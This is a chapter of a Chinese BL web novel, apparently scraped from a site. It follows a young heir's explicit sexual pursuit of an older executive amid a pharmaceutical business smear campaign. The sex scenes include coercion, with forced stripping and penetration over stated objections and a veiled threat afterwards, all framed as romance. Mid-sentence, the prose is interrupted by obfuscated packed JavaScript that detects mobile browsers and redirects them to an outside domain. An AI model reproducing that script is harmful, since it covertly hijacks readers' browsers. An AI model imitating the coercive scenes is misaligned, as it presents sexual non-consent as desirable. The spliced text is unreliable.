“这是我家,你出去……”
秦桁凑到他脖子上闻了闻,酒味混合着女人的香水味,怒道:“你身上难闻死了。”
说完,他便拽着温时玉去浴室。
秦桁扒了温时玉的西装,温时玉恼了,“秦桁,我看在你爸爸的面子上,一些事情懒得和你计较,现在你还敢闯进我家,你想干什么?”
秦桁打开沐浴,“给你洗澡!”
温水兜头落下,衬衣和裤子瞬间湿了,黏在身上,温时玉轻轻地喘息一声,气得再次爆粗口,“妈的,你给我滚……”
“你说过,我有需要,你就会帮我,现在我有需要。”
“你从我身上占的便宜还不够?”温时玉咬牙,“管也撸了,嘴也亲了,你还想要什么?”
“上你。”
“大少爷,以你的家世容貌,想和你上床的人多了是?何必缠着我这么一个老男人呢?”温时玉讽刺地笑一声。
秦桁盯着他,看来被自己气得够呛,连往日的斯文都懒得装了,神色非常冷淡。
其实秦桁一直觉得温时玉瞧不上他,和他爸爸一样把他当孩子看,他的直觉果真没错。
“温总虽然老,但是下*紧啊。”
温时玉往他脸上挥了一拳。
秦桁顶着个肿脸,也不生气,把他身上的湿衣服全给扒了。
温时玉的身体便这样暴露在秦桁的视线下,肌肤特别白,特别细腻。
不是少年那种纤瘦的体型,而是丰润的,胸口和屁股一样饱满,挺翘,富有弹性。
成熟又性感……
秦桁滚了滚喉结,立即便……
温时玉感受到了,耳朵一热,“你出去……”
秦桁把他按在墙上,然后从背后压住他,热烘烘地呼吸全部都打在温时玉的耳朵边上,哑声道:“温总,今天我亲你,你也有反-应了吧?你其实喜欢和我亲嘴吧,喜欢我的舌头伸到你嘴里吧。”
“我觉得恶心……”
秦桁冷笑一声,抓住他。
“嘴硬。”
不知道养尊处优的大少爷,为什么手上那么粗粝的茧子,每每摩擦过温时玉敏-感的地方,都让温时玉疯狂颤栗,止不住地打颤。
“秦,秦桁,你他妈松开……”
这次秦桁诡异地听话,真的放开了他,可温时玉却觉得不满足,想要他带着茧子的大手继续摩擦他,温时玉被自己这样的想法吓了一大跳,然后便难堪极了。
可紧接着,温时玉感觉一根舌头直直地伸了进去……
温时玉头皮都要麻了。
“秦,秦桁……你疯了……”
回应温时玉的是更加用力的舔吮,温时玉脸颊两坨红晕,感受着那根舌头肆意地,像是在被一根舌头*一样……
温时玉仰高脖颈,很快投降了。
秦桁站起来,眸色特别晦暗,声音也特别哑,“舒-服吗?”
温时玉大脑一片空白。
秦桁脸贴住他的脖颈,两人的呼吸交缠在一起,秦桁的嘴碰上他的唇,说着恶心的温时玉却没有躲,而是微微张开唇瓣,露出里面湿润的粉肉……
秦桁拍了一下他的屁股,然后狠狠地含吮住温时玉的唇肉,啃着,吸着,撬开他的唇瓣,大舌捣进去,缠弄着温时玉的舌,再去摩擦那紧窄的喉眼,发出黏腻而又涩情的水声……
不知道亲了多久,温时玉感觉自己的腰塌了下去,这种姿势让他有些难堪,刚站好,温时玉眼睛便微微睁大,惊恐道:“不行……秦桁……”
话音刚落,便猛地嵌了进去。
温时玉脸瞬间白了。
不知道过去了多久,他感觉自己被放到了床上,双退折在胸口……
*
刺眼的光芒晃在眼皮上,嗡隆隆的电钻声非常吵。
温时玉蹙眉,睁开眼睛,看见了一张放大的俊脸。
这张俊脸的主人还正埋在他心口上,跟个小孩似的,嘬着他……
温时玉意识缓缓回笼,难堪,羞耻,绝望,用力把人推开。
这一用力,又牵动了不可言说的地方,温时玉一阵颤栗哆嗦……
秦桁没睡够,搂住温时玉还想要继续睡。
“……你别睡了。”温时玉难堪道。
秦桁不睁眼,似乎把他当妈了,脑袋一个劲地往温时玉的胸口里钻。
“秦桁……”温时玉推他的脑袋。
秦桁这才罢休,看着温时玉,跟看老婆似的特别甜蜜。
“昨天晚上怎么样?”
温时玉脸颊微微泛红,“……没什么感觉。”
秦桁掐着他的脸,“嘴硬。”
温时玉难堪,“昨天晚上,你有需求,我也有需要,我们互相发泄一下,和那些约的没什么区别,你以后还是乖乖听你爸爸的话,好好给秦家传宗接代,知道吗?”
秦桁神情变得阴沉。
“你觉得我们两个昨天晚上是约-炮?”
“……不然是什么?”温时玉反问。
“你和我睡过,你就是我的人,我看你还是没明白我这句话。”秦桁拍着他的脸:“这次我放过你,如果你以后再说这种话……”
秦桁阴沉一笑,“温总失-禁时候的表情挺好看的。”
温时玉微微心悸。
“你回去吧,一晚上没回家,秦董事长该担心你了。”温时玉道。
“你饿不饿?我去给你做饭。”秦桁道。
温时玉想说不用,但秦桁已经跳下床了。
不一会儿秦桁的声音从厨房里传来,“你家怎么连个做饭的东西都没有?”
“你叫个餐吧。”温时玉慢慢地挪下床,即便是这样轻轻的动作,也让温时玉一阵酥软,感觉秦桁的东西还在里面摩-擦似的。
等走到浴室,温时玉从镜子里看见自己浑身都是吻痕……
温时玉脸皮一热,捂住眼睛……
他洗完澡出来,客厅地餐桌上摆满了食物。
温时玉刚坐下,双腿又是一软,他尽量佯装无事。
秦桁的手机响了,温时玉看见个爹字,估摸是秦绛打来的。
秦桁直接在他跟前接通,温时玉一惊,半点声音都不敢发出。
“我在温总家里呢。”
秦桁盯着温时玉笑一声,“正在和温总交流工作。”
秦桁那边才挂完电话。
温时玉提着的心这才松了下来。
“吃完饭,你赶紧回家吧……”温时玉道。
“我爸说让我和你多交流多交流,不用急着回家。”
秦桁乐呵呵地看着温时玉,“我爸挺喜欢你的,不然你给我们家当儿媳妇吧。”
“别胡说八道,我是男的。”温时玉脸皮一热。
吃完饭,温时玉想去公司,但忽然意识到是周末,他打算补个觉。
然而秦桁收拾完,没有走的意思,看见温时玉回卧室,他也跟着。
温时玉浑身跟散架了一样,眼皮也沉,没在管他。
温时玉上了床,闭上眼睛没一会儿,就感觉一个热烘烘的脑袋埋进他的胸口里,似乎真的把他当成妈妈了,脸紧紧贴着他,蹭来蹭去。
没一会儿,又要扒开他的睡衣,吮吃他那里……
刚才温时玉在洗手间一看,肿大了不止一倍,红艳艳的,周围也都是他咬出来的牙印……
“你,你够了……”
温时玉推他,推不动。
看着他毛茸茸的脑袋,温时玉心中涌起一股奇怪的滋味。
到了晚上,温时玉才把人送走,人一走,家里又恢复了冷清。
温时玉躺在床上,轻轻地叹气。
如果是之前,温时玉说自己和秦桁没有关系,他还有底气,可是现在……
要是他昨晚是被秦桁强迫的话,温时玉还好受一点,但很明显,昨天晚上,他们两个属于半推半就,甚至可以说他完全是自愿的,他单身了快三十多年,自认为是一个比较禁欲的人,怎么遇到秦桁后,就变得那么……
接下来一周,秦桁估计是吃饱了,没再来纠缠他,其实温时玉很清楚,像秦桁这样年轻的小孩,对他只是新鲜感,尝过了,便不会再觉得有什么好奇的了。
温时玉洗澡的时候,发现自己身上吻痕也越来越淡了……
这天下午,温时玉忽然接到成敬的电话。
“你快看新闻。”成敬在电话那头语气沉重。
温时玉赶紧打开网页,这才发现他的公司和成敬的公司都在新闻上标着。
是他们出厂的药有了问题。
这是一个匿名用户找记者曝光的,说自己买了他们很多药,结果吃了引起了严重的副作用。
温时玉看完新闻,先是向成敬道了歉,首先这个项目是他开头的,其次这个药厂是温时玉找的,最后出了这么大的事情,他竟然是最后一个知道。
成敬倒是没有怪他,“你打电话问问药厂的人到底是怎么回事。”
温时玉这边刚挂了成敬的电话,药厂的厂长立即便给温时玉打了过来。
“温总,我们各个流程把控得非常严格,新闻上那些不合格的药,绝对不是我们厂子出去的。”厂长在电话那边又急又气,“我干这一行快二十年了,怎么可能会自己砸自己的招牌,更别说这还是救命的东西!”
“周哥,你先别急,我相信你。”温时玉看他的情绪不对劲,先安抚他,“我现在马上过去一趟,看看到底是什么原因。”
一挂电话,温时玉立即往沪市赶。
到了地方,和厂长交换了一下信息,也看了各个工作流程的记录,发现确实都是严格按照标准执行的。
接着温时玉又尝试联系那位匿名向记者博曝光的人。
结果对方一直关机。
随着声讨他们的声音越大,另一个名叫宇通的药厂开始被人推荐。
到了这里,温时玉差不多猜到是怎么一回事了。
周厂长看着宇通铺天盖地的宣传,也明白是怎么回事了,他气得脸红脖子粗,“之前我们就是竞争关系,但那时候是公平竞争,没想到他竟然会使这些阴招!”
温时玉在网上查了一下这个宇通药厂,发现他们的背景还挺大的,不是他们能轻易惹得起的。
温时玉暂时还不想和他们硬来,便几番辗转,找到了宇通的老板,希望和他们老板见一面。
对面答应了。
到了约定那一天,对方迟到了差不多半个小时。
宇通的厂长名叫刘通,长相略微有点胖,眼睛睁不开一样陷在脸盘里,他见了温时玉倒还算客气,“这位就是恒玉公司的温总吧,听说现在正好周春合作,久仰久仰啊。”
“我也早就听说过刘总您。”温时玉笑了笑。
接下来,刘通也不和温时玉客气,“我知道你今天找我来什么事情?如果温总愿意让出20%的市场份额,什么新闻都会消失……”
温时玉来的时候便猜到了。
从业者互相抹黑,基本上都是为了利益。
温时玉原本以为这次来,和他好商好量的,对方能够公平竞争,现在看来,显然是他想多了。
两人不欢而散。
接下来,温时玉拿出证据,以及检验合格的记录,让人发了一个澄清公告,但没引起多大的反响。
舆论就是这样,谣言满天飞,真相没人关心。
不过大家忘得也快,过一阵子便不会有人关心这件事了。
温时玉让周哥继续好好干活。
然而对方不打算善罢甘休。
他们一款销量很高的原研药,对方忽然降价了一半,这导致他们的销量骤降。
“这人自己效益不好,不想怎么提升,竟使一些下作的手段!”周哥掐着腰,在办公室里大骂。
“温总,你说接下来我们怎么办?”
温时玉揉了揉太阳穴。
如果跟着降价,亏损严重,如果不降,大家都会优先选择便宜的,久了之后便会抢占市场份额。
怎么做都不是最优解。
“先按兵不动吧,他们这个打法,自己也落不到好处。”
温时玉站在窗前,抽了根烟,之后,披着西装,查了查刘通的关系网,发现他和一位当官的关系很好。
巧合的是,温时玉之前和华中少聊天的时候,华中少说过他认识这个当官的,温时玉便打电话够华中少,看他能不能给自己牵个线,没想到华中少特别爽快的答应了。
为了这件事,华中少特地跑来一趟。
华瑜也来了。
见状,温时玉特别感激,也特别不好意思。
华中少笑着拍拍他的肩膀,“小事而已,客气什么。”
“学长,我哥哥说得没错。”
华瑜看着温时玉,发现他好像瘦了一些,下巴有淡淡的胡茬,莫名有种脆弱的感觉。
华瑜整理了一下头发,继续道:“这几天我也在看报道,对方做得太不地道了,学长你这几天是不是很累?”
温时玉笑了笑,“还好。”
“走吧,我订好了餐馆,对方正在等着我们呢。”华中少结束闲聊。
温时玉和他们一起去见那位当官的。
对方打扮很朴素,待人也很友善,见面先和华中少打趣地聊了起来,然后又夸华瑜越来越漂亮了。
接着,华中少向对方介绍了温时玉。
四个人认识之后,便坐下吃饭。
先喝了几轮酒,华中少才说出来的目的。
对方沉吟,“我是和他关系不错,但他做事很有主意,我的话,估计也不会听,不过你们放心,我会尽量劝劝他的。”
“那真是太感谢了。”温时玉朝对方敬了一杯酒。
这位很能喝,温时玉和华中少都感觉醉了,对方还清醒着,要他们继续陪他,华中少最先坚持不下去,跑到厕所吐了,温时玉最后也不行了。
就这样,对方走的时候还意犹未尽,想改天接着约他们。
华瑜开车把他们送到酒店,其实她更想照顾的是温时玉,但是他哥醉得更厉害,又是唱歌又是跳舞的,她只能先把她哥哥扶到房间里去。
温时玉便自己一个人扶着墙回酒店房间。
他的房间门口站着一个人,对方身形高大,短发,嘴里叼着根烟,单手插兜,看起来又拽又帅。
温时玉以为是自己找错了房间了,拐个弯,想往回走,结果胳膊一把被人拉住。
“你敢跑。”
秦桁把人拉到自己怀里,这才闻见他身上的酒味,除了酒味,还有一股熟悉的,淡淡的女性香水。
这个时候华瑜送完他哥回房间,打算来看一下温时玉。
然后便看见温时玉被秦家的大少爷揽在怀里。
秦家大少爷也看见了她,脸色特别骇人。
“晚上,晚上我们和学长一起吃饭,学长喝醉了……”
别人都怕这个大少爷,但是华瑜不怕,可是此刻不知道为什么,华瑜感觉后背发凉,说话都结巴了起来。
“我会照顾他的。”秦桁冷冷地说完,从温时玉兜里找到房卡,把门打开,拉着温时玉进房间,华瑜想跟进去,被秦桁嘭地关在了门外。
一进房间,秦桁立即把温时玉拉到洗手间,沉着脸,他的衣服给扒完了,然后打开水龙头。
洗干净后,闻了闻,身
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16146849|180486||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上变得清爽了,才关掉水龙头,然后也不给人穿衣服,就让他裸着,把他抱回床上。
秦桁也洗个澡,洗完之后,躺在床上,冷冷地看着他。
温时玉醉得脸晕红,淡色的唇瓣微微张开,露出里面湿润的腔肉,似乎是感觉头顶的灯光太亮了,温时玉用一只胳膊挡住眼睛。
这样的姿势让他胸脯更加饱满肥润,泛着细腻的光泽……
秦桁看得血脉偾张。
第二天早上,温时玉头疼欲裂地睁开眼睛,看见怀里拱着一个毛茸茸的大脑袋,嘬得发出响声,温时玉还以为是做梦了。
直到传来酸胀和湿热,温时玉才头皮一紧,赶忙把人推开了。
昨天晚上不是在和华中少兄妹吃饭吗,为什么一觉醒来,秦桁这个小子又在他床上……他是怎么知道自己在这的?
温时玉抱住脑袋,宿醉让他头疼欲裂,后腰也疼、软,被掏空了一样发虚。
秦桁也睁眼了。
“……你怎么找到这里的?”温时玉问他。
温时玉刚问完,外面的门就被敲响了,秦桁下床,很快端过来一碗醒酒汤。
“先喝了。”
温时玉没胃口。
秦桁板着脸看他。
温时玉只好喝了,喝完脑袋和胃都好点了。
温时玉掀开被子,吓了一大跳,自己□□着,胸口上又是密密麻麻的咬痕,温时玉脸皮烫极了,赶忙穿上衬衣。
“我一会儿要去工作,你……”温时玉也不知道他来是干什么,“你可以去附近玩一玩……”
“我是来找你的,你让我一个人待着?”
秦桁特别生气地捏温时玉的脸。
他这一星期被他爸逼着去外地谈项目,看到新闻才知道温时玉的公司出事了,他连夜坐飞机赶到这里,他查到温时玉住的酒店房间,在门口等到半夜,结果等到了一个醉鬼,身上还有女人的香水味。
“我看到新闻了。”秦桁眸色骤然变冷。
*
华中少和华瑜还有工作要忙,一大早便赶飞机回去了,温时玉没来得及送他们,感觉特别愧疚,连着给华中少发好几条信息。
到了厂子里,温时玉得到了一个不好的消息。
那位当官的劝了刘通,但刘通不听,还和他闹掰了,看来这个刘通是铁了心地要和他们对着干了。
温时玉给他们的供应商打了个电话。
秦桁就在一旁盯着温时玉。
似乎比一个星期之前瘦了点,也憔悴了一些,下巴还有淡淡的胡茬,这一星期估计过得焦头烂额的。
不知道电话那头是谁,温时玉一直在笑,虽然态度并不卑微,但也能看出来温时玉在讨好对方。
秦桁眸色变得沉郁极了,给他的同学打了个电话,很快刘通的关系网全部都发了过来。
秦桁心里有了主意。
等温时玉挂了电话,秦桁看着他,“这件事你不用再管了。”
年轻英俊的脸庞,执拗又坚定的眼睛,不知道为什么,温时玉的心脏猛地跳快了一拍。
温时玉将那一丝悸动压下去,“秦桁,这件事我自己能解决。”
“低三下四地求别人?还是再喝得像昨天那样不省人事?”秦桁冷道。
温时玉抿紧唇,侧脸变得有些冷酷。
“都和你没关系。”
秦桁脸色登时便沉下去了。
秦桁三两步走到温时玉跟前,将温时玉按在墙上,眯着眼睛问:“你的学妹可以帮你,我不能帮是吗?”
温时玉睫毛颤动,没说话。
秦桁冷笑一声,忽然捧住他的脸,狠狠咬上他的唇。
办公室的门忽然被敲响了。
温时玉用力将他推开。
秦桁一抹嘴,打开办公室的门出去,正好和外面敲门的周春对上。
秦桁阴沉地看他一眼。
而办公室内,温时玉有些狼狈地靠在墙上,呼吸微微急促。
周春一进来,便看到温时玉红肿的唇瓣,一看便是被人吻过的样子,想到刚才出去那位大少爷,周春暗暗心惊。
他认得这位大少爷,听说是秦绛晚年才有的一个儿子,宝贝得不行。
温时玉整理好自己的衣服,朝周春笑了笑。
“发生什么事情了吗?”
“你让约的供应商,那边同意了,让今天晚上过去。”
“好,我知道了。”
周春走后,温时玉摸了摸发麻的嘴,失神起来。
刚才秦桁的眼神让他有那么一瞬间觉得,秦桁对他,可能不仅仅是想上床的关系……
那样的眼睛看着他,充斥的感情实在是太直白、太浓烈了,他想含糊都没有办法含糊……
如果单单是炮友,他和他小叔最后闹到不可收拾的地步,两人的关系处理起来不会麻烦……
可是一旦沾染上了真心……
温时玉捂住眼睛。
晚上,温时玉去和供应商吃饭。
这次他约供应商,主要是想和供应商压压价格。
几个人一坐下,对方先要两瓶白酒。
温时玉一看这个,没吃晚饭的胃便隐隐作痛起来,幸亏助理跟着他过来了,不然他今天晚上估计又要不省人事。
温时玉发散完思维,笑着朝供应商道:“今天,我一定陪你喝尽兴。”
想的是让助理帮他挡一下,但温时玉也没让,自己一个人和供应商喝,喝到他感觉整个人快要猝死了,供应商才答应了单价让他们一个点。
“陈总,有空再约啊。”
送走供应商,温时玉坐在椅子上,闭着眼睛,扯开了领带。
助理去外面叫车,叫完,发现秦家的大少爷就站在他们包厢门口。
门打开了一条缝,可以看见温时玉一脸醉态。
大少爷的脸很臭,似乎在生气。
“秦少。”助理小声地叫他。
秦桁没理他,过了一会儿问,“他经常这样喝吗?”
助理微微一愣后,赶忙道:“其实现在公司规模大了一点,喝得不省人事的次数少了很多,以前的时候,温总几乎是每天晚上都喝得烂醉……”
“你先回去吧,我送他。”
秦桁推开门,走了进去。
秦桁刚一碰到温时玉,温时玉便醒了,睁开眼睛看着秦桁。
秦桁喉结一滚,“刘通婚外情,在外面有十二个私生子,还涉嫌职务侵占,被警察带走调查了。”
温时玉垂下眼,怪不得一天不见人影。
“……谢谢。”
秦桁沉着脸扶他起来。
“……不用,我助理来了。”温时玉耳朵发热,慌忙道:“秦桁,我自己可以走。”
“不许说话。”
秦桁把人扶到酒店房间,一进房间,便迫不及待地把温时玉按在门上,捧着他的脸,“我要亲你。”
秦桁的视线很沉,带着情-欲,温时玉身体开始发热,也不知羞耻地渴望起来秦桁那粗暴涩情的吻了,涌起一阵阵地颤栗酥麻。
可理智让他摇头,“秦桁,我们,不能这样了……”
秦桁却直接堵住他的唇。
温时玉挣扎着,然而越挣扎,秦桁便越是要让他臣服,撬开他的唇瓣,长驱直入,用已经苏醒的,庞大的欲望,狠狠丁页他……
身体回忆起来秦桁带给他疯狂,不再受理智控制,慢慢地软下来,满脸红晕地张开唇瓣,让男人的大舌进得更深……
被放到床上时,温时玉听到男人在他耳边不容置喙道。
“以后我不会让你再低三下四地求任何人。”
“你跟我吧。”